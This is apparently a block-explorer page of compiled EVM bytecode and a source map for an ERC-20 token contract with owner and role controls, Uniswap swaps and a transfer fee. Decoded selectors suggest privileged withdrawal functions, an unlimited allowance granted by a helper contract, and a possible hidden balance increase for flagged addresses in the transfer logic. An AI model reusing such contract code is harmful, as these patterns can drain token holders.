015264207a65726f60d81b6064820152608401620008be565b6200081d828686840362000f90565b600033620007a88185856200113f565b60008281526007602052604090206001015462000d4e81620010b8565b620007fb8383620013de565b600080516020620024f783398151915262000d7581620010b8565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa15801562000dc4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000dea919062002235565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801562000e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620007fb9190620021bb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd906064016020604051808303816000875af115801562000edf573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f059190620021bb565b5062000f1181620016fb565b50565b62000f1e62001448565b6001600160a01b03811662000f855760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620008be565b62000f1181620014a4565b6001600160a01b03831662000ff45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620008be565b6001600160a01b038216620010575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620008be565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b62000f1181336200195e565b6000620010d2848462000e5c565b9050600019811462000c5e5781811015620011305760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401620008be565b62000c5e848484840362000f90565b60008111620011845760405162461bcd60e51b815260206004820152601060248201526f0616d6f756e74206d75737420677420360841b6044820152606401620008be565b6009546001600160a01b03848116911614801590620011b157506009546001600160a01b03838116911614155b15620011c457620007fb838383620019c2565b6009546001600160a01b038481169116141562001285576000600b54116200121a5760405162461bcd60e51b81526020600482015260086024820152673737ba1037b832b760c11b6044820152606401620008be565b6200124083306200123a606462001233866001620019cf565b90620019dd565b620019eb565b62001253606462001233836001620019cf565b600e600082825462001266919062002180565b90915550620007fb905083836200123a606462001233866063620019cf565b6009546001600160a01b0383811691161415620007fb576001600160a01b0383166000908152600f602052604090205460ff1615620012cb57620007fb838383620019eb565b620012e483306200123a606462001233866001620019cf565b620012f7606462001233836001620019cf565b600e60008282546200130a919062002180565b9091555050600e5462001336906200132490839062002180565b600d546001600160a01b031662001c38565b6000600e55620007fb83836200123a606462001233866063620019cf565b62001360828262000c64565b620008d35760008281526007602090815260408083206001600160a01b03851684529091529020805460ff191660011790556200139a3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b620013ea828262000c64565b15620008d35760008281526007602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6006546001600160a01b0316331462000b7b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620008be565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000824244846040516020016200153293929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c62001557919062002265565b9392505050565b6012805460ff191660011790556040805160028082526060820183526000926020830190803683375050600a5482519293506001600160a01b031691839150600090620015af57620015af620021df565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110620015e657620015e6620021df565b6001600160a01b039283166020918202929092010152600a546040516370a0823160e01b815230600482015260009291909116906370a0823190602401602060405180830381865afa15801562001641573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001667919062002235565b90508362001673578093505b808411620016eb57600854604051635c11d79560e01b81526001600160a01b0390911690635c11d79590620016b690879060009087908990429060040162002292565b600060405180830381600087803b158015620016d157600080fd5b505af1158015620016e6573d6000803e3d6000fd5b505050505b50506012805460ff191690555050565b6012805460ff191660011790556040805160028082526060820183526000926020830190803683375050600a5482519293506001600160a01b0316918391506000906200174c576200174c620021df565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110620017835762001783620021df565b6001600160a01b039283166020918202929092010152600a546040516370a0823160e01b815230600482015260009291909116906370a0823190602401602060405180830381865afa158015620017de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001804919062002235565b90508262001810578092505b8083116200188c57600854601054604051635c11d79560e01b81526001600160a01b0392831692635c11d79592620018579288926000928992911690429060040162002292565b600060405180830381600087803b1580156200187257600080fd5b505af115801562001887573d6000803e3d6000fd5b505050505b6010546001600160a01b0316600090815260208190526040902054156200194f576010546001600160a01b031660008181526020819052604090205430916323b872dd9183906040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562001927573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200194d9190620021bb565b505b50506012805460ff1916905550565b6200196a828262000c64565b620008d3576200197a8162001d1d565b6200198783602062001d30565b6040516020016200199a92919062002305565b60408051601f198184030181529082905262461bcd60e51b8252620008be9160040162001f53565b620007fb838383620019eb565b6000620015578284620021f5565b60006200155782846200237e565b6001600160a01b03831662001a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401620008be565b6001600160a01b03821662001ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401620008be565b6001600160a01b0383166000908152602081905260409020548181101562001b2f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401620008be565b6001600160a01b0380851660008181526020818152604080832087870390559387168252838220805487019055918152600290915220548490849060ff168062001b9157506001600160a01b03811660009081526002602052604090205460ff165b1562001be257806001600160a01b0316826001600160a01b0316141562001be2576001600160a01b0382166000908152602081905260408120805486929062001bdc90849062002180565b90915550505b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405162001c2891815260200190565b60405180910390a3505050505050565b6012805460ff19166001179055306000908152602081815260408083205481516002808252606082018452919493909290830190803683370190505090508382101562001c83578193505b8315620016eb57308160008151811062001ca15762001ca1620021df565b6001600160a01b039283166020918202929092010152600a5482519116908290600190811062001cd55762001cd5620021df565b6001600160a01b039283166020918202929092010152600854604051635c11d79560e01b8152911690635c11d79590620016b690879060009086908990429060040162002292565b6060620006f86001600160a01b03831660145b6060600062001d41836002620021f5565b62001d4e90600262002180565b67ffffffffffffffff81111562001d695762001d696200227c565b6040519080825280601f01601f19166020018201604052801562001d94576020820181803683370190505b509050600360fc1b8160008151811062001db25762001db2620021df565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811062001de45762001de4620021df565b60200101906001600160f81b031916908160001a905350600062001e0a846002620021f5565b62001e1790600162002180565b90505b600181111562001e99576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811062001e4f5762001e4f620021df565b1a60f81b82828151811062001e685762001e68620021df565b60200101906001600160f81b031916908160001a90535060049490941c9362001e918162002395565b905062001e1a565b508315620015575760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401620008be565b61014780620023b083390190565b60006020828403121562001f0b57600080fd5b81356001600160e01b0319811681146200155757600080fd5b60005b8381101562001f4157818101518382015260200162001f27565b8381111562000c5e5750506000910152565b602081526000825180602084015262001f7481604085016020870162001f24565b601f01601f19169190910160400192915050565b6001600160a01b038116811462000f1157600080fd5b6000806040838503121562001fb257600080fd5b823562001fbf8162001f88565b946020939093013593505050565b60006020828403121562001fe057600080fd5b5035919050565b60008060006060848603121562001ffd57600080fd5b83356200200a8162001f88565b925060208401356200201c8162001f88565b929592945050506040919091013590565b600080604083850312156200204157600080fd5b823591506020830135620020558162001f88565b809150509250929050565b6000602082840312156200207357600080fd5b8135620015578162001f88565b600080604083850312156200209457600080fd5b8235620020a18162001f88565b91506020830135620020558162001f88565b60008060208385031215620020c757600080fd5b823567ffffffffffffffff80821115620020e057600080fd5b818501915085601f830112620020f557600080fd5b8135818111156200210557600080fd5b8660208260051b85010111156200211b57600080fd5b60209290920196919550909350505050565b600181811c908216806200214257607f821691505b602082108114156200216457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156200219657620021966200216a565b500190565b600060208284031215620021ae57600080fd5b8151620015578162001f88565b600060208284031215620021ce57600080fd5b815180151581146200155757600080fd5b634e487b7160e01b600052603260045260246000fd5b60008160001904831182151516156200221257620022126200216a565b500290565b60006000198214156200222e576200222e6200216a565b5060010190565b6000602082840312156200224857600080fd5b5051919050565b634e487b7160e01b600052601260045260246000fd5b6000826200227757620022776200224f565b500690565b634e487b7160e01b600052604160045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015620022e45784516001600160a01b031683529383019391830191600101620022bd565b50506001600160a01b03969096166060850152505050608001529392505050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516200233f81601785016020880162001f24565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516200237281602884016020880162001f24565b01602801949350505050565b6000826200239057620023906200224f565b500490565b600081620023a757620023a76200216a565b50600019019056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212201befdd0b841fe9da1ca95f56ddecf65821c7a7c42551f371380d2a01dbe2336e64736f6c634300080c0033241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08a26469706673582212209714877c60448bab73974e7a6ffc7c5ea4e100c055abef58b988b81e2331bda964736f6c634300080c0033241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08
Deployed Bytecode
0x6080604052600436106200020f5760003560e01c80636f6579a31162000117578063a217fddf11620000a1578063d9927448116200006c578063d99274481462000632578063dd62ed3e1462000657578063ec827460146200067c578063f2fde38b14620006a157600080fd5b8063a217fddf14620005ac578063a457c2d714620005c3578063a9059cbb14620005e8578063d547741f146200060d57600080fd5b80638718b24f11620000e25780638718b24f146200052d5780638da5cb5b146200054f57806391d14854146200056f57806395d89b41146200059457600080fd5b80636f6579a3146200049157806370a0823114620004b6578063715018a614620004f057806380720140146200050857600080fd5b80632f48ab7d11620001995780633f936ff511620001645780633f936ff5146200040b57806349bd5a5e14620004235780635342acb41462000445578063553193ca146200047957600080fd5b80632f48ab7d1462000368578063313ce56714620003a357806336568abe14620003c15780633950935114620003e657600080fd5b80631c6a0c4c11620001da5780631c6a0c4c14620002c357806323b872dd14620002ea578063248a9ca3146200030f5780632f2ff15d146200034357600080fd5b806301ffc9a7146200021c57806306fdde031462000256578063095ea7b3146200027d57806318160ddd14620002a257600080fd5b366200021757005b600080fd5b3480156200022957600080fd5b50620002416200023b36600462001ef8565b620006c6565b60405190151581526020015b60405180910390f35b3480156200026357600080fd5b506200026e620006fe565b6040516200024d919062001f53565b3480156200028a57600080fd5b50620002416200029c36600462001f9e565b62000798565b348015620002af57600080fd5b506003545b6040519081526020016200024d565b348015620002d057600080fd5b50620002e8620002e236600462001fcd565b620007b2565b005b348015620002f757600080fd5b50620002416200030936600462001fe7565b62000800565b3480156200031c57600080fd5b50620002b46200032e36600462001fcd565b60009081526007602052604090206001015490565b3480156200035057600080fd5b50620002e8620003623660046200202d565b62000828565b3480156200037557600080fd5b50600a546200038a906001600160a01b031681565b6040516001600160a01b0390911681526020016200024d565b348015620003b057600080fd5b50604051600981526020016200024d565b348015620003ce57600080fd5b50620002e8620003e03660046200202d565b62000851565b348015620003f357600080fd5b50620002416200040536600462001f9e565b620008d7565b3480156200041857600080fd5b50620002b4600e5481565b3480156200043057600080fd5b506009546200038a906001600160a01b031681565b3480156200045257600080fd5b50620002416200046436600462002060565b60026020526000908152604090205460ff1681565b3480156200048657600080fd5b50620002b4600b5481565b3480156200049e57600080fd5b50620002e8620004b036600462002080565b620008ff565b348015620004c357600080fd5b50620002b4620004d536600462002060565b6001600160a01b031660009081526020819052604090205490565b348015620004fd57600080fd5b50620002e862000b65565b3480156200051557600080fd5b50620002e862000527366004620020b3565b62000b7d565b3480156200053a57600080fd5b506010546200038a906001600160a01b031681565b3480156200055c57600080fd5b506006546001600160a01b03166200038a565b3480156200057c57600080fd5b50620002416200058e3660046200202d565b62000c64565b348015620005a157600080fd5b506200026e62000c8f565b348015620005b957600080fd5b50620002b4600081565b348015620005d057600080fd5b5062000241620005e236600462001f9e565b62000ca0565b348015620005f557600080fd5b50620002416200060736600462001f9e565b62000d21565b3480156200061a57600080fd5b50620002e86200062c3660046200202d565b62000d31565b3480156200063f57600080fd5b50620002e86200065136600462002060565b62000d5a565b3480156200066457600080fd5b50620002b46200067636600462002080565b62000e5c565b3480156200068957600080fd5b50620002e86200069b36600462001fcd565b62000e87565b348015620006ae57600080fd5b50620002e8620006c036600462002060565b62000f14565b60006001600160e01b03198216637965db0b60e01b1480620006f857506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600480546200070f906200212d565b80601f01602080910402602001604051908101604052809291908181526020018280546200073d906200212d565b80156200078e5780601f1062000762576101008083540402835291602001916200078e565b820191906000526020600020905b8154815290600101906020018083116200077057829003601f168201915b5050505050905090565b600033620007a881858562000f90565b5060019392505050565b600080516020620024f7833981519152620007cd81620010b8565b604051339083156108fc029084906000818181858888f19350505050158015620007fb573d6000803e3d6000fd5b505050565b60003362000810858285620010c4565b6200081d8585856200113f565b506001949350505050565b6000828152600760205260409020600101546200084581620010b8565b620007fb838362001354565b6001600160a01b0381163314620008c75760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084015b60405180910390fd5b620008d38282620013de565b5050565b600033620007a8818585620008ed838362000e5c565b620008f9919062002180565b62000f90565b600080516020620024f78339815191526200091a81620010b8565b600a80546001600160a01b038086166001600160a01b0319928316179092556008805492851692909116821790556040805163c45a015560e01b8152905184929163c45a01559160048083019260209291908290030181865afa15801562000986573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009ac91906200219b565b600a546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620009fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a2491906200219b565b600980546001600160a01b0319166001600160a01b03928316179055600a5460085460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000a8f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ab59190620021bb565b5060085462000ad29030906001600160a01b031660001962000f90565b62000ae1303060001962000f90565b600c5460085462000b02916001600160a01b03908116911660001962000f90565b3060405162000b119062001eea565b6001600160a01b039091168152602001604051809103906000f08015801562000b3e573d6000803e3d6000fd5b50601080546001600160a01b0319166001600160a01b039290921691909117905550505050565b62000b6f62001448565b62000b7b6000620014a4565b565b600080516020620024f783398151915262000b9881620010b8565b43600b5560005b8281101562000c5e5762000c4962000be4600586868581811062000bc75762000bc7620021df565b905060200201602081019062000bde919062002060565b620014f6565b62000bf190600162002180565b62000c0490662386f26fc10000620021f5565b62000c179066f8b0a10e47000062002180565b85858481811062000c2c5762000c2c620021df565b905060200201602081019062000c43919062002060565b6200155e565b8062000c558162002217565b91505062000b9f565b50505050565b60009182526007602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600580546200070f906200212d565b6000338162000cb0828662000e5c565b90508381101562000d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401620008be565b6200081d828686840362000f90565b600033620007a88185856200113f565b60008281526007602052604090206001015462000d4e81620010b8565b620007fb8383620013de565b600080516020620024f783398151915262000d7581620010b8565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa15801562000dc4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000dea919062002235565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801562000e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620007fb9190620021bb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd906064016020604051808303816000875af115801562000edf573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f059190620021bb565b5062000f1181620016fb565b50565b62000f1e62001448565b6001600160a01b03811662000f855760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620008be565b62000f1181620014a4565b6001600160a01b03831662000ff45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620008be565b6001600160a01b038216620010575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620008be565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b62000f1181336200195e565b6000620010d2848462000e5c565b9050600019811462000c5e5781811015620011305760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401620008be565b62000c5e848484840362000f90565b60008111620011845760405162461bcd60e51b815260206004820152601060248201526f0616d6f756e74206d75737420677420360841b6044820152606401620008be565b6009546001600160a01b03848116911614801590620011b157506009546001600160a01b03838116911614155b15620011c457620007fb838383620019c2565b6009546001600160a01b038481169116141562001285576000600b54116200121a5760405162461bcd60e51b81526020600482015260086024820152673737ba1037b832b760c11b6044820152606401620008be565b6200124083306200123a606462001233866001620019cf565b90620019dd565b620019eb565b62001253606462001233836001620019cf565b600e600082825462001266919062002180565b90915550620007fb905083836200123a606462001233866063620019cf565b6009546001600160a01b0383811691161415620007fb576001600160a01b0383166000908152600f602052604090205460ff1615620012cb57620007fb838383620019eb565b620012e483306200123a606462001233866001620019cf565b620012f7606462001233836001620019cf565b600e60008282546200130a919062002180565b9091555050600e5462001336906200132490839062002180565b600d546001600160a01b031662001c38565b6000600e55620007fb83836200123a606462001233866063620019cf565b62001360828262000c64565b620008d35760008281526007602090815260408083206001600160a01b03851684529091529020805460ff191660011790556200139a3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b620013ea828262000c64565b15620008d35760008281526007602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6006546001600160a01b0316331462000b7b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620008be565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000824244846040516020016200153293929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c62001557919062002265565b9392505050565b6012805460ff191660011790556040805160028082526060820183526000926020830190803683375050600a5482519293506001600160a01b031691839150600090620015af57620015af620021df565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110620015e657620015e6620021df565b6001600160a01b039283166020918202929092010152600a546040516370a0823160e01b815230600482015260009291909116906370a0823190602401602060405180830381865afa15801562001641573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001667919062002235565b90508362001673578093505b808411620016eb57600854604051635c11d79560e01b81526001600160a01b0390911690635c11d79590620016b690879060009087908990429060040162002292565b600060405180830381600087803b158015620016d157600080fd5b505af1158015620016e6573d6000803e3d6000fd5b505050505b50506012805460ff191690555050565b6012805460ff191660011790556040805160028082526060820183526000926020830190803683375050600a5482519293506001600160a01b0316918391506000906200174c576200174c620021df565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110620017835762001783620021df565b6001600160a01b039283166020918202929092010152600a546040516370a0823160e01b815230600482015260009291909116906370a0823190602401602060405180830381865afa158015620017de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001804919062002235565b90508262001810578092505b8083116200188c57600854601054604051635c11d79560e01b81526001600160a01b0392831692635c11d79592620018579288926000928992911690429060040162002292565b600060405180830381600087803b1580156200187257600080fd5b505af115801562001887573d6000803e3d6000fd5b505050505b6010546001600160a01b0316600090815260208190526040902054156200194f576010546001600160a01b031660008181526020819052604090205430916323b872dd9183906040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562001927573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200194d9190620021bb565b505b50506012805460ff1916905550565b6200196a828262000c64565b620008d3576200197a8162001d1d565b6200198783602062001d30565b6040516020016200199a92919062002305565b60408051601f198184030181529082905262461bcd60e51b8252620008be9160040162001f53565b620007fb838383620019eb565b6000620015578284620021f5565b60006200155782846200237e565b6001600160a01b03831662001a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401620008be565b6001600160a01b03821662001ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401620008be565b6001600160a01b0383166000908152602081905260409020548181101562001b2f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401620008be565b6001600160a01b0380851660008181526020818152604080832087870390559387168252838220805487019055918152600290915220548490849060ff168062001b9157506001600160a01b03811660009081526002602052604090205460ff165b1562001be257806001600160a01b0316826001600160a01b0316141562001be2576001600160a01b0382166000908152602081905260408120805486929062001bdc90849062002180565b90915550505b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405162001c2891815260200190565b60405180910390a3505050505050565b6012805460ff19166001179055306000908152602081815260408083205481516002808252606082018452919493909290830190803683370190505090508382101562001c83578193505b8315620016eb57308160008151811062001ca15762001ca1620021df565b6001600160a01b039283166020918202929092010152600a5482519116908290600190811062001cd55762001cd5620021df565b6001600160a01b039283166020918202929092010152600854604051635c11d79560e01b8152911690635c11d79590620016b690879060009086908990429060040162002292565b6060620006f86001600160a01b03831660145b6060600062001d41836002620021f5565b62001d4e90600262002180565b67ffffffffffffffff81111562001d695762001d696200227c565b6040519080825280601f01601f19166020018201604052801562001d94576020820181803683370190505b509050600360fc1b8160008151811062001db25762001db2620021df565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811062001de45762001de4620021df565b60200101906001600160f81b031916908160001a905350600062001e0a846002620021f5565b62001e1790600162002180565b90505b600181111562001e99576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811062001e4f5762001e4f620021df565b1a60f81b82828151811062001e685762001e68620021df565b60200101906001600160f81b031916908160001a90535060049490941c9362001e918162002395565b905062001e1a565b508315620015575760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401620008be565b61014780620023b083390190565b60006020828403121562001f0b57600080fd5b81356001600160e01b0319811681146200155757600080fd5b60005b8381101562001f4157818101518382015260200162001f27565b8381111562000c5e5750506000910152565b602081526000825180602084015262001f7481604085016020870162001f24565b601f01601f19169190910160400192915050565b6001600160a01b038116811462000f1157600080fd5b6000806040838503121562001fb257600080fd5b823562001fbf8162001f88565b946020939093013593505050565b60006020828403121562001fe057600080fd5b5035919050565b60008060006060848603121562001ffd57600080fd5b83356200200a8162001f88565b925060208401356200201c8162001f88565b929592945050506040919091013590565b600080604083850312156200204157600080fd5b823591506020830135620020558162001f88565b809150509250929050565b6000602082840312156200207357600080fd5b8135620015578162001f88565b600080604083850312156200209457600080fd5b8235620020a18162001f88565b91506020830135620020558162001f88565b60008060208385031215620020c757600080fd5b823567ffffffffffffffff80821115620020e057600080fd5b818501915085601f830112620020f557600080fd5b8135818111156200210557600080fd5b8660208260051b85010111156200211b57600080fd5b60209290920196919550909350505050565b600181811c908216806200214257607f821691505b602082108114156200216457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156200219657620021966200216a565b500190565b600060208284031215620021ae57600080fd5b8151620015578162001f88565b600060208284031215620021ce57600080fd5b815180151581146200155757600080fd5b634e487b7160e01b600052603260045260246000fd5b60008160001904831182151516156200221257620022126200216a565b500290565b60006000198214156200222e576200222e6200216a565b5060010190565b6000602082840312156200224857600080fd5b5051919050565b634e487b7160e01b600052601260045260246000fd5b6000826200227757620022776200224f565b500690565b634e487b7160e01b600052604160045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015620022e45784516001600160a01b031683529383019391830191600101620022bd565b50506001600160a01b03969096166060850152505050608001529392505050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516200233f81601785016020880162001f24565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516200237281602884016020880162001f24565b01602801949350505050565b6000826200239057620023906200224f565b500490565b600081620023a757620023a76200216a565b50600019019056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212201befdd0b841fe9da1ca95f56ddecf65821c7a7c42551f371380d2a01dbe2336e64736f6c634300080c0033241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08a26469706673582212209714877c60448bab73974e7a6ffc7c5ea4e100c055abef58b988b81e2331bda964736f6c634300080c0033
Deployed Bytecode Sourcemap
63304:6207:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;37703:204;;;;;;;;;;-1:-1:-1;37703:204:0;;;;;:::i;:::-;;:::i;:::-;;;470:14:1;;463:22;445:41;;433:2;418:18;37703:204:0;;;;;;;;51895:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;54255:201::-;;;;;;;;;;-1:-1:-1;54255:201:0;;;;;:::i;:::-;;:::i;53024:108::-;;;;;;;;;;-1:-1:-1;53112:12:0;;53024:108;;;1750:25:1;;;1738:2;1723:18;53024:108:0;1604:177:1;69343:122:0;;;;;;;;;;-1:-1:-1;69343:122:0;;;;;:::i;:::-;;:::i;:::-;;55036:261;;;;;;;;;;-1:-1:-1;55036:261:0;;;;;:::i;:::-;;:::i;39526:131::-;;;;;;;;;;-1:-1:-1;39526:131:0;;;;;:::i;:::-;39600:7;39627:12;;;:6;:12;;;;;:22;;;;39526:131;39967:147;;;;;;;;;;-1:-1:-1;39967:147:0;;;;;:::i;:::-;;:::i;63539:19::-;;;;;;;;;;-1:-1:-1;63539:19:0;;;;-1:-1:-1;;;;;63539:19:0;;;;;;-1:-1:-1;;;;;3283:32:1;;;3265:51;;3253:2;3238:18;63539:19:0;3119:203:1;65164:92:0;;;;;;;;;;-1:-1:-1;65164:92:0;;65247:1;3469:36:1;;3457:2;3442:18;65164:92:0;3327:184:1;41111:218:0;;;;;;;;;;-1:-1:-1;41111:218:0;;;;;:::i;:::-;;:::i;55706:238::-;;;;;;;;;;-1:-1:-1;55706:238:0;;;;;:::i;:::-;;:::i;63645:24::-;;;;;;;;;;;;;;;;63504:28;;;;;;;;;;-1:-1:-1;63504:28:0;;;;-1:-1:-1;;;;;63504:28:0;;;51328:50;;;;;;;;;;-1:-1:-1;51328:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;63565:30;;;;;;;;;;;;;;;;64410:748;;;;;;;;;;-1:-1:-1;64410:748:0;;;;;:::i;:::-;;:::i;53195:127::-;;;;;;;;;;-1:-1:-1;53195:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;53296:18:0;53269:7;53296:18;;;;;;;;;;;;53195:127;45248:103;;;;;;;;;;